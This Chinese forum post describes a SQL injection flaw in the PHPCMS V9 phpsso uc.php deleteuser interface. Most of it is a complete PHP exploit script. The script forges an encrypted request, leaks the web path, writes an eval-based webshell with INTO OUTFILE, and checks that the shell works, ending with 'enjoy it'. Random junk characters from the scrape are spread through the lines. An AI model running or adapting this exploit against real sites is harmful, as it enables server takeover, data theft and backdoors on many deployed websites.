PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
6 W0 a5 E* P5 i1 |$ }3 Q
! k x9 d( I6 u( h7 y, B所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。7 D/ R( d+ L- Y4 J! s# O7 T, m" D2 l
/ J; i4 V& }' U0 L& e, r- h( z3 N
漏洞分析:% E# _ w, D3 X) n1 F" p$ f0 e
1.未启用ucenter服务的情况下uc_key为空4 b! n1 a7 ~7 a$ t( s2 C6 K
define('UC_KEY', pc_base::load_config('system', 'uc_key'));* \, z& O" z8 D4 y9 Q* v$ q& e+ }4 B
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。0 I7 }7 K. I# f# b5 s, I0 g
public function deleteuser($get,$post) {
8 |5 i6 n2 P5 C1 W# O0 g pc_base::load_app_func('global', 'admin');# {; [$ H) Z% k& w g
pc_base::load_app_class('messagequeue', 'admin' , 0);, z, ~5 N2 ], E4 L9 Q6 u+ R' g
$ids = new_stripslashes($get['ids']);2 z# H1 M6 Y4 x. q i
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
* Q, y% J( S8 u+ W- a6 f" _# lSQL语句为5 _, |1 L! q: o
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
' B: P$ o; o) K# _" t+ x& K) a" X* s) w ]
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
7 K* {. w* \: h2 Q<?php
1 f- A: K9 o0 P6 ~3 _0 T5 Bprint_r('
3 m: j" y! R5 N( a0 U5 e--------------------------------------------------------------------------- l, [/ ] d( M& T0 e5 t. A. I
PHPcms (v9 or Old Version) uc api sql injection 0day+ w8 C+ E0 \ n9 H2 j4 \ Y: P* u( M
by rayh4c#80sec.com9 `* Z/ n) Y5 I$ [- E
---------------------------------------------------------------------------
* l8 m" J1 @% e. O');9 e" S& o. ? |1 L: {7 ^
& Q( w$ a7 g, r& b. M q( k sif ($argc<3) { J% L' w! o' l
print_r('7 i. g* Q! C1 U2 i4 d) N1 z3 L6 \0 {; U
---------------------------------------------------------------------------2 \* H+ `6 H1 g' Z$ i U
Usage: php '.$argv[0].' host path OPTIONS
9 x9 d! I. I7 c. u! nhost: target server (ip/hostname)
* t5 {- h+ |6 u7 Fpath: path to phpcms! n2 e. ~+ k9 @& g
Options:8 G' ~# O- ~' b8 x
-p[port]: specify a port other than 80- r. `0 J. P# i1 P: {4 ~) u
-P[ip:port]: specify a proxy& k! u. Y# I3 i
Example:
: X( C* i' z1 W) a, C. l2 i/ e+ cphp '.$argv[0].' localhost /1 U+ f; o) S9 \6 T# z
php '.$argv[0].' localhost /phpcms/ -p81
* @, Q) W0 }1 M8 g' b4 Wphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
; h) F% R+ k7 }) ^/ c9 t---------------------------------------------------------------------------/ h/ a( g4 M6 A- i+ y
');
0 p/ @0 O6 z8 C7 g# `/ V5 m5 W die;2 g& B6 Y9 @' K5 @$ y
}. Y% R. |% Z: H
9 |! J1 Y* D: Q2 |" }5 }5 c+ s
error_reporting(7);+ B5 ^1 ~! X- ~
ini_set("max_execution_time",0);
: J! e7 N) r' ]8 E* E8 o6 U Lini_set("default_socket_timeout",5);
2 R+ r; G( E l# z# x6 R# O' b! X5 `/ E; Q O* S
function quick_dump($string)
" {: l* U# |) c" d3 a. m, M{- `* M/ g5 ^- B/ l
$result='';$exa='';$cont=0;
" o7 E' B& ?7 D* k/ I for ($i=0; $i<=strlen($string)-1; $i++)
. P% X- r/ @* r5 e {' T9 @ R, C6 R
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))6 B6 I: L" Q2 L
{$result.=" .";}
( L8 }) e. E+ j, l5 k) _" i) K1 l else w2 A5 x3 M1 v
{$result.=" ".$string[$i];}+ r7 I* c9 v& F, B) `$ }
if (strlen(dechex(ord($string[$i])))==2)
9 B0 |) h) N3 W& ?$ r {$exa.=" ".dechex(ord($string[$i]));}7 x4 t% H% r( k( p1 K* {5 v
else, s7 j# A( R9 }# Z: W8 c7 ~: ~8 U1 S
{$exa.=" 0".dechex(ord($string[$i]));}( s# z& j* i, b8 f$ B# f
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}. N/ \3 V. b" ?
}. o* T* k2 k. ]2 y& V5 X( t0 J
return $exa."\r\n".$result;# F+ L& B9 Z' f& F- R3 P' I. ?) C# M
}+ `% z) n) m ?0 n6 e
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+ P/ C( c, r9 A0 ]* Z. @5 I& c4 n- `: J
( O8 d% E0 G0 u d9 R! o: yfunction send($packet)6 E& u2 i+ R% E6 ^1 ?
{: U! E; n6 t* L: m: @
global $proxy, $host, $port, $html, $proxy_regex;& f# r9 F" W# y8 F
if ($proxy=='') {4 ~9 I* e+ C' |$ z6 L: j& e ?
$ock=fsockopen(gethostbyname($host),$port);+ h1 o7 G4 s( G& Y. \5 K1 _
if (!$ock) {
i$ d$ N* D/ w! b2 z2 A+ k3 s echo 'No response from '.$host.':'.$port; die;$ O p: x" t. @
}
! Y3 U+ w0 U7 y- v& f; h0 v }# z0 `- @3 @& i: R$ r! U- c# T4 x
else {
9 \* N8 j5 ?4 ~1 p $c = preg_match($proxy_regex,$proxy);2 D0 @0 W$ O, \$ U7 L6 k3 j+ b" } `
if (!$c) {7 E/ y b5 D% |: D) k7 Z& G
echo 'Not a valid proxy...';die;
+ [8 f, x* |/ i+ M- b4 z6 G: l }+ f. ~7 d3 E. u% _$ \/ K
$parts=explode(':',$proxy);5 P u! T$ v, ?3 {: Q
$parts[1]=(int)$parts[1];
$ R6 K( M" U4 }4 a0 N echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
' z8 e' \ Q$ [. m/ [8 e: T $ock=fsockopen($parts[0],$parts[1]);- d6 x/ z/ z ]8 F
if (!$ock) {
# Z/ T) m/ ?- a( M) A) I echo 'No response from proxy...';die;
4 s* q, \) a4 L5 N" g; k }
2 N7 d; }) e2 v' V }
# d4 V/ t/ `0 F* P( a+ O7 u' I fputs($ock,$packet);
& v/ i5 ?3 `$ g) X7 h6 W if ($proxy=='') {" `/ S9 S& _) V% h6 n. v2 D
$html='';" t6 _8 f# C: _
while (!feof($ock)) {) v) G2 Z- O, z' l; a' C+ n" K, i
$html.=fgets($ock);
+ N6 k7 L4 U) T) j. b" G+ e4 g* Q& A }
2 X% S. B! ~' ^8 d2 W8 G+ K5 J }3 U; X5 m i- n8 X0 Y# M
else {. E9 c4 ]2 K* P) f. j- @3 z4 s
$html='';# b- g9 ^6 g# w8 B" q
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {* S1 P0 r) }7 h' k- G/ q3 V4 ]- @
$html.=fread($ock,1);
- _7 w- @6 n2 h) u- { }/ u( Q) [9 K: w) A- v" C) m
}% a) z+ f+ A: T5 r Z! @( W' N
fclose($ock);
7 l& l) y9 G) b5 i. _6 H) L}
! x- J; v n% h" g) A! P
- ]& f- v1 _$ k/ ~7 {5 x$host=$argv[1];
# [4 w, P8 V( `$ n& I/ U; B. M! k3 Q1 ]$path=$argv[2];6 G: w6 [: j) P! p9 R6 m
$port=80;
) j& C# U. q! B I+ R# P0 {$proxy="";
; D; D5 n8 \1 T8 E1 ofor ($i=3; $i<$argc; $i++){8 I" A# A; ]: C; E: C) @' A
$temp=$argv[$i][0].$argv[$i][1];
2 ^" y7 ?% O/ C( g5 Tif ($temp=="-p")
2 |& e) j! ], R{
+ _! R, `: v8 n$ w $port=(int)str_replace("-p","",$argv[$i]);
& F5 d( ?. r8 j: u1 }# ^}6 s+ U% q8 ]" ~" w
if ($temp=="-P"): Y- W, x# b" a1 b; n
{
7 t& D( m {$ Y& x0 C $proxy=str_replace("-P","",$argv[$i]);
) @0 A" A) G" E}
: p( @3 I6 Y ^! z% I}* P8 e/ H5 S5 O
$ U( S U% r& R/ _: J/ @/ o
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
& i. q0 E1 ?# n/ ~8 t- xif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
) A" M. x' \) _* _
/ }9 z' }3 G* B$ e) K6 u) v; Y: Dfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {6 G7 J/ A( {6 b% Q# o8 E/ h
3 T% b' D- Y3 B& M* Q7 l" ], s $ckey_length = 4;! r& S; H+ r" t+ C/ `
# y! H0 @6 H; _9 m& F
$key = md5($key ? $key : '');
0 j3 i& O7 E; Z H1 D $keya = md5(substr($key, 0, 16));- p8 K# z& p. q/ | \6 o' a% V
$keyb = md5(substr($key, 16, 16));% `! b* f& g2 |+ F5 U
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';5 ?0 y4 C& P/ s* @
/ t/ f$ h4 S& K0 g1 J" y; ` h $cryptkey = $keya.md5($keya.$keyc);5 f6 G, G* ?5 S* X- v5 q' a
$key_length = strlen($cryptkey);2 \0 R* A$ M" k7 X# ^
4 U# l5 C9 b) H1 I1 [* r" L& b
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;1 w" n- X0 P9 U' t
$string_length = strlen($string);$ x/ t6 h6 L" J. P+ F) h5 A
2 J5 c7 G1 Q3 j3 S, h' U0 p5 } $result = '';9 x$ ]2 a, k2 s8 C) |) J, g( f7 }$ j( P
$box = range(0, 255);1 Z* p( f+ Y- s% [# j1 j7 P
/ c" N% F7 B& h. b $rndkey = array();$ \2 @) \! L( `8 q1 M
for($i = 0; $i <= 255; $i++) {
4 D; w* Y$ J7 k $rndkey[$i] = ord($cryptkey[$i % $key_length]);
. C9 j$ F* L( t+ f# o \ }6 t% b* }1 V$ b2 k7 G3 \1 M
* W% P3 o+ F6 J6 J: o0 y
for($j = $i = 0; $i < 256; $i++) {
0 }$ j" G4 ^4 L% t" w $j = ($j + $box[$i] + $rndkey[$i]) % 256;# @7 n! f" t8 b R; H% k
$tmp = $box[$i];! w/ Z2 M1 O+ {+ d5 H. T* I; A* O
$box[$i] = $box[$j];
0 Y0 P1 o _/ s8 `9 f1 O& Q' \* m $box[$j] = $tmp;
2 G; `% q8 Y$ S. H }
) s$ s; J, L% _; ~8 u( i0 n, x" {9 f7 L
for($a = $j = $i = 0; $i < $string_length; $i++) {8 K3 b" g' |: l& h
$a = ($a + 1) % 256;. n1 S1 u/ m' B4 ?% o) ]( k
$j = ($j + $box[$a]) % 256;
* O1 ?9 U% r* Y: v } $tmp = $box[$a];; Q$ e1 Z, F( o& |8 s
$box[$a] = $box[$j];2 L: u! G2 ~1 z3 S2 P
$box[$j] = $tmp;% e! O% i3 i3 _4 H3 h
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));% N( |. X. z8 Z/ B! R+ K( d4 ~
}) N: G8 N) i7 A0 x0 D) ^$ c8 L) F
2 G) _' a( p/ k/ ^5 W8 \ if($operation == 'DECODE') {
# A. H1 `9 j' _0 \8 a7 r' j6 D% N# k& j if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
+ w; a) Q5 L. _! n& h return substr($result, 26);
% q$ t/ ~7 n7 |; L3 v: U3 y } else {
* S; M2 _: S. A5 u( U return '';: Q6 p4 I; P, A/ w8 { N. n
}$ [' P$ y9 r5 t$ }2 @4 {
} else {; C9 y9 s) U( h# y+ O
return $keyc.str_replace('=', '', base64_encode($result));3 S4 o9 v) [: z. O8 U
}. j5 o( D% @% e6 J
, ^* L3 Z, `0 {; c7 z
}
2 c7 C w. A1 Y3 l# w8 h0 H& _
& Y* C( ]! {/ K( Z) ~( F6 g$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";$ p+ a& g* X! B8 R' ~
$SQL = urlencode(authcode($SQL, "ENCODE", ""));* J$ c2 r D5 B# q* y9 J* x
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$ M ~ X* V# I j3 X: T5 S6 d$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
* ~0 @/ F9 @. p3 R3 N' v6 L1 r( a$packet.="User-Agent: Mozilla/5.0\r\n";
% O; S5 F2 L+ k" o7 a$packet.="Host: ".$host."\r\n"; s0 \6 n5 B+ b$ X0 v
$packet.="Connection: Close\r\n\r\n";
' |' s2 I1 ~" |3 u5 q" D w6 v; K. @send($packet);
, G& P5 S$ \& yif(strpos($html,"MySQL Errno") > 0){* t3 Q- e D4 q0 z9 x
echo "[2] 发现存在SQL注入漏洞"."\n"; O0 z3 }9 F F1 ^; J- c1 A5 P- s
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
9 O, K. [; ^) @' p: [& w. G$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
* A5 k s+ J/ ^$packet.="User-Agent: Mozilla/5.0\r\n";, |9 `) ^4 C6 p) @1 A* N$ P4 e
$packet.="Host: ".$host."\r\n";
0 e7 Z: p1 }; I2 l9 V ]7 I$packet.="Connection: Close\r\n\r\n";, `) T$ p9 Y# ` b* d3 B
send($packet);" f2 m( `& O. B# |! v3 T6 H
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);( L! K+ T% }# y7 |& u
//print_r($matches);
* l# _" ?+ V! m. q- ~# aif(!empty($matches)){+ j; a6 Q6 l1 m' Q% F% j! e
echo "[4] 得到web路径 " . $matches[0]."\n";8 N5 ~ Y+ G2 T9 T8 G" `
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
0 F- o: g% B) G9 A0 B" z" p" E* D$SQL = "time=999999999999999999999999&ids=1)";
+ Q. e% G, H( g% `6 s( N* Q% C$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";3 c, h% H0 P% V' L4 A" j1 Z. t5 c2 |
$SQL.="&action=deleteuser";) n) _4 C, X0 @# o( {. y9 w
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
) o/ Q( A4 Y: Q8 X, r6 S( Necho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";% ^2 i' H% T6 n" |# c( P
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
! q# r5 c" m- r' }$packet.="User-Agent: Mozilla/5.0\r\n"; j% I4 R8 ~& M8 P. P8 t* n" I
$packet.="Host: ".$host."\r\n";6 L$ F$ x V$ w2 N/ Y( H0 e# o
$packet.="Connection: Close\r\n\r\n";
6 K9 Z3 }# M# F/ d# k5 ]send($packet);
y! a" n1 `+ b/ T4 uif(strpos($html,"Access denied") > 0){
/ D/ K4 r( _3 E# U, Iecho "[-] MYSQL权限过低 禁止写入文件 ";
* E( e& S- }7 K; {0 v9 M5 edie;
1 ?9 T5 D4 z0 J' @7 N' s}: U" E1 }6 A! M) e
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";) `1 n+ l6 C0 K) f
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";, V) ]9 O! U# n% D' J
$packet.="User-Agent: Mozilla/5.0\r\n";
; d) z! h5 v5 A& M' E) C$packet.="Host: ".$host."\r\n";- j* ~0 y0 |* Q, p4 u# C2 g
$packet.="Connection: Close\r\n\r\n";
, {8 p% P* @3 V$ wsend($packet);
, }4 u. m1 ~( v xif(strpos($html,"<title>phpinfo()</title>") > 0){8 V/ L* D3 \0 t" |7 J, X4 ?
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";( I: v% _6 w" b: d9 m* p: x+ i
}
! I$ S- h) z% Z6 z% c4 T}else{3 l$ W' q3 m& o. Q% b
echo "[-]未取到web路径 ";4 J- B; t* _8 \
}
: E' K# Y" q- k" T/ y}else{8 \+ A ]8 L8 ~: t/ L3 y6 |; O
echo "[*]不存在SQL注入漏洞"."\n";
! c; L8 ^/ K$ B. s}/ E4 I& T5 }2 W4 n7 l; C
/ k7 k+ {9 S" @?>8 Q; \. d6 ?# O; c
|